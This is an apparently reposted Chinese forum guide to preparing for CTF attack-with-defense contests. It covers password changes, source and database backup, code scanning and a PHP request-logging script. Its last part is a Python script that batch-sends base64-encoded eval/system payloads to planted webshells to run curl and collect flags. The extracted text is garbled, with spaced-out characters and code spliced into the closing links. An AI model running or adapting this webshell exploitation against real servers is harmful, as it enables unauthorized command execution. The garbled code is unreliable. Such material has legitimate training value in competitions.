搜索

[21107] 2020-06-28_CTF线下AWD攻防模式的准备工作及起手式

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-18
2020-06-28_CTF线下AWD攻防模式的准备工作及起手式 C T F 线 下 A W D 攻 防 模 式 的 准 备 工 作 及 起 手 式 L e m o n S e c   2 0 2 0 - 0 6 - 2 8 我 自 己 在 服 务 器 上 搭 了 一 个 c m s 来 模 拟 A W D 场 景 。 0 X 0 1   改 s s h 密 码 官 方 在 给 出 服 务 器 密 码 时 ， 很 有 可 能 是 默 认 的 ， 需 要 赶 快 修 改 自 己 的 密 码 并 尝 试 能 不 能 登 陆 别 人 的 靶 机 ， 搞 波 事 情 嘿 嘿 嘿 ~ 0 X 0 2   d u m p 源 码 首 先 可 能 没 有 给 源 码 ， 需 要 自 己 把 源 码 全 d u m p 下 来 。 1 . 使 用 X F T P 或 者 F i l e Z i l l a   C l i e n t 等 图 形 化 服 务 器 管 理 软 件 2 . 使 用 s c p 命 令 0 X 0 3   备 份 数 据 库 1 .   找 配 置 文 件 s c p   - r   - P   P o r t   r e m o t e _ u s e r n a m e @ r e m o t e _ i p : r e m o t e _ f o l d e r   l o c a l _ f i l e
找 到 用 户 名 和 密 码 之 后 登 陆 m y s q l 2 .   备 份 [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( 进 入 到 M y S Q L 库 目 录 ， 根 据 自 己 的 M y S Q L 的 安 装 情 况 调 整 目 录 ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l d u m p   - u   r o o t   - p   T e s t > T e s t 0 8 0 9 . s q l ， 输 入 密 码 即 可 。 3 .   还 原 法 一 ： [ r o o t @ l o c a l h o s t   ~ ] #   m y s q l   - u   r o o t   - p   回 车 ， 输 入 密 码 ， 进 入 M y S Q L 的 控 制 台 " m y s q l > " ， 输 入 命 令 " s h o w   d a t a b a s e s ； " 。 看 看 有 些 什 么 数 据 库 ； 建 立 你 要 还 原 的 数 据 库 ， 输 入 " c r e a t e   d a t a b a s e   v o i c e ； " ， 切 换 到 刚 建 立 的 数 据 库 ， 输 入 " u s e   v o i c e ； " ， 回 车 ； 导 入 数 据 ， 输 入 " s o u r c e   v o i c e . s q l ； " ， 回 车 ， 开 始 导 入 ， 再 次 出 现 " m y s q l > " 并 且 没 有 提 示 错 误 即 还 原 成 功 。 [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( 进 入 到 M y S Q L 库 目 录 ， 根 据 自 己 的 M y S Q L 的 安 装 情 况 调 整 目 录 ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l   - u   r o o t   - p   T e s t < T e s t 0 8 0 9 . s q l ， 输 入 密 码 即 可 （ 将 要 恢 复 的 数 据 库 文 件 放 到 服 务 器 的 某 个 目 录 下 ， 并 进 入 这 个 目 录 执 行 以 上 命 令 | ） 。 m o o d l e _ b a k . s q l 是 需 要 恢 复 的 文 件 名 0 X 0 4   拿 到 源 码 之 后 先 D 盾 查 杀
好 吧 这 次 什 么 明 显 的 后 门 都 没 有 ， 可 能 比 较 隐 蔽 。 0 X 0 5 .   s e a y 扫 洞
虽 然 没 有 什 么 用 ， 但 是 至 少 有 个 审 计 的 方 向 ， 往 哪 里 看 。 0 X 0 6 .   上 监 控 脚 本 本 来 按 理 说 先 放 个 通 防 w a f 的 ， 但 是 听 说 十 分 容 易 被 c h e c k   d o w n ， 最 好 不 要 乱 动 ， 有 时 候 拿 f l a g 分 还 不 如 d o w n 的 分 多 ， 这 就 很 难 受 了 。 这 里 上 一 个 监 控 流 量 的 脚 本 。 需 要 在 p h p 文 件 前 加 个 贴 监 控 脚 本 ： r e q u i r e _ o n c e ( ' w a f . p h p ' ) ; < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; d e f i n e ( ' L O G _ F I L E D I R ' , ' . / l o g s ' ) ; f u n c t i o n   w a f ( ) { i f   ( ! f u n c t i o n _ e x i s t s ( ' g e t a l l h e a d e r s ' ) )   { f u n c t i o n   g e t a l l h e a d e r s ( )   { f o r e a c h   ( $ _ S E R V E R   a s   $ n a m e   = >   $ v a l u e )   { i f   ( s u b s t r ( $ n a m e ,   0 ,   5 )   = =   ' H T T P _ ' ) $ h e a d e r s [ s t r _ r e p l a c e ( '   ' ,   ' - ' ,   u c w o r d s ( s t r t o l o w e r ( s t r _ r e p l a c e ( ' _ ' ,   '   ' ,   s u b s t r ( $ n a m e ,   5 ) ) ) ) ) ]   =   $ v a l u e ; } r e t u r n   $ h e a d e r s ; } } $ g e t   =   $ _ G E T ; $ p o s t   =   $ _ P O S T ; $ c o o k i e   =   $ _ C O O K I E ; $ h e a d e r   =   g e t a l l h e a d e r s ( ) ; $ f i l e s   =   $ _ F I L E S ; $ i p   =   $ _ S E R V E R [ " R E M O T E _ A D D R " ] ;
0 X 0 7 .   审 计 根 据 s e a y 扫 出 的 一 大 波 结 果 （ 虽 然 没 什 么 用 ） 审 计 啊 审 计 啊 还 是 审 计 啊 ~ 直 接 看 也 行 ， s e a y 扫 一 下 其 实 可 能 没 有 什 么 实 质 性 的 作 用 2 3 3 3 3 3 3 0 X 0 8 .   时 刻 关 注 流 量 和 积 分 榜 时 刻 看 着 自 己 的 分 数 ， 看 到 自 己 被 d o w n 了 就 赶 紧 恢 复 ， 不 管 被 删 库 还 是 被 自 己 删 了 什 么 重 要 配 置 文 件 或 者 还 是 上 的 通 用 w a f 脚 本 过 不 了 c h e c k 。 然 后 就 是 查 看 流 量 了 。 0 X 0 9 .   写 脚 本 批 量 拿 分 直 接 贴 e x p 了 ： $ m e t h o d   =   $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] ; $ f i l e p a t h   =   $ _ S E R V E R [ " S C R I P T _ N A M E " ] ; f o r e a c h   ( $ _ F I L E S   a s   $ k e y   = >   $ v a l u e )   { $ f i l e s [ $ k e y ] [ ' c o n t e n t ' ]   =   f i l e _ g e t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ) ; f i l e _ p u t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ,   " v i r i n k " ) ; } u n s e t ( $ h e a d e r [ ' A c c e p t ' ] ) ; $ i n p u t   =   a r r a y ( " G e t " = > $ g e t ,   " P o s t " = > $ p o s t ,   " C o o k i e " = > $ c o o k i e ,   " F i l e " = > $ f i l e s ,   " H e a d e r " = > $ h e a d e r ) ; l o g g i n g ( $ i n p u t ) ; } f u n c t i o n   l o g g i n g ( $ v a r ) { $ f i l e n a m e   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ; $ L O G _ F I L E N A M E   =   L O G _ F I L E D I R . " / " . $ f i l e n a m e ; $ t i m e   =   d a t e ( " Y - m - d   G : i : s " ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E ,   " r n " . $ t i m e . " r n " . p r i n t _ r ( $ v a r ,   t r u e ) ,   F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n " . ' h t t p : / / ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' P H P _ S E L F ' ] . ' ? ' . $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] ,   F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * " , F I L E _ A P P E N D ) ; } w a f ( ) ; ? > # ! / u s r / b i n / p y t h o n # c o d i n g = u t f - 8 i m p o r t   s y s , r e q u e s t s , b a s e 6 4 d e f   l o a d f i l e ( f i l e p a t h ) :     t r y   :           f i l e   =   o p e n ( f i l e p a t h , " r b " )         r e t u r n   s t r ( f i l e . r e a d ( ) )     e x c e p t   :           p r i n t   " F i l e   % s   N o t   F o u n d ! "   % f i l e p a t h         s y s . e x i t ( ) d e f   f i l e _ w r i t e ( f i l e p a t h , f i l e c o n t e n t ) :     f i l e   =   o p e n ( f i l e p a t h , " a " )     f i l e . w r i t e ( f i l e c o n t e n t )     f i l e . c l o s e ( ) d e f   g e t f l a g ( u r l , m e t h o d , p a s s w d , f l a g _ p a t h ) :     # f l a g 机 的 u r l     f l a g _ u r l = " 1 9 2 . 1 6 8 . 4 5 . 1 "     # p r i n t   u r l     # 判 断 s h e l l 是 否 存 在     t r y   :         r e s   =   r e q u e s t s . g e t ( u r l , t i m e o u t = 3 )     e x c e p t   :  
        p r i n t   " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T "   % u r l         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T n n "   % u r l )         r e t u r n   0     i f   r e s . s t a t u s _ c o d e ! = 2 0 0   :         p r i n t   " [ - ]   % s   P a g e   N o t   F o u n d ! "   % u r l         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   P a g e   N o t   F o u n d ! n n "   % u r l )         r e t u r n   0     # 执 行 命 令 来 获 取 f l a g   s y s t e m , e x e c , p a s s t h r u , ` , s h e l l _ e x e c     # a = @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; & z 0 = c 3 l z d G V t K C J 3 a G 9 h b W k i K T s =     c m d   =   " c u r l   " + f l a g _ u r l     # c m d   =   " w h o a m i "     g e t f l a g _ c m d   = " e c h o   s y s t e m ( " % s " ) ; " % c m d     d a t a = { }     i f   m e t h o d = = ' g e t ' :         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; '         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )         t r y :             r e s   =   r e q u e s t s . g e t ( u r l , p a r a m s = d a t a , t i m e o u t = 3 )             # p r i n t   r e s . u r l             i f   r e s . c o n t e n t :                 c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                 f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                 p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l             e l s e   :                 p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                 c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                 f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )         e x c e p t   :             f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )             p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l     e l i f   m e t h o d = = ' p o s t ' :         d a t a [ ' p a s s ' ] = ' S n 3 r t f 4 c k '         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ z 0 ] ) ) ; '         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )         t r y :             r e s   =   r e q u e s t s . p o s t ( u r l , d a t a = d a t a , t i m e o u t = 3 )             i f   r e s . c o n t e n t :                 c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                 f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                 p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l             e l s e   :                 p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                 c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                 f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )         e x c e p t :             f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )             p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l     i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :     # 存 放 f l a g 的 文 件     f l a g _ p a t h = " . / f l a g . t x t "     s h e l l s t r = l o a d f i l e ( " . / w e b s h e l l . t x t " )     l i s t   =   s h e l l s t r . s p l i t ( " r n " )     # p r i n t   s t r ( l i s t )     i   =   0     u r l = { }     p a s s w d = { }     m e t h o d = { }     f o r   d a t a   i n   l i s t :         i f   d a t a :             l s   =   d a t a . s p l i t ( " , " )             m e t h o d _ t m p   =   s t r ( l s [ 1 ] )
0 x 1 0 .   O V E R ！ 安 利 几 个 链 接 ： 《 C T F 线 下 赛 A W D 模 式 下 的 生 存 技 巧 》 《 论 如 何 在 C T F 比 赛 中 搅 “ s h i ” 》 《 C T F 线 下 防 御 战   —   让 你 的 靶 机 变 成 “ 铜 墙 铁 壁 ” 》 A W D 攻 防 赛 w e b s h e l l 批 量 利 用 框 架 针 对 c t f 线 下 赛 流 量 抓 取 ( p h p ) 、 真 实 环 境 流 量 抓 取 分 析 的 工 具 A W D 攻 防 赛 脚 本 集 合 C T F D e f e n s e 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 点 击 右 下 角 “ 在 看 ”             m e t h o d _ t m p   =   s t r ( l s [ 1 ] )             m e t h o d _ t m p   =   m e t h o d _ t m p . l o w e r ( )             i f   m e t h o d _ t m p = = ' p o s t '   o r   m e t h o d _ t m p = = ' g e t ' :                 u r l [ i ] = s t r ( l s [ 0 ] )                 m e t h o d [ i ] = m e t h o d _ t m p                 p a s s w d [ i ] = s t r ( l s [ 2 ] )                 i + = 1             e l s e   :                 p r i n t   " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! "   % ( s t r ( l s [ 0 ] ) )                 f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! n n "   % ( s t r ( l s [ 0 ] ) ) )         e l s e   :   p a s s     # p r i n t   s t r ( l e n ( u r l ) )     f o r   j   i n   r a n g e ( l e n ( u r l ) ) :         # 调 用 执 行 命 令 的 模 块         # p r i n t   s t r ( j )         # p r i n t   " u r l   i s   % s   m e t h o d   i s   % s   p a s s w d   i s   % s "   % ( u r l [ j ] , m e t h o d [ j ] , p a s s w d [ j ] )         g e t f l a g ( u r l = u r l [ j ] , m e t h o d = m e t h o d [ j ] , p a s s w d = p a s s w d [ j ] , f l a g _ p a t h = f l a g _ p a t h )     p r i n t   " G e t f l a g   f i n i s h e d ! " 版 权 声 明 ： 本 文 为 C S D N 博 主 「 郁 离 歌 」 的 原 创 文 章 ， 遵 循 C C   4 . 0   B Y - S A 版 权 协 议 ， 转 载 请 附 上 原 文 出 处 链 接 及 本 声 明 。 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / l i k e 9 8 k / a r t i c l e / d e t a i l s / 8 0 2 6 1 6 0 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理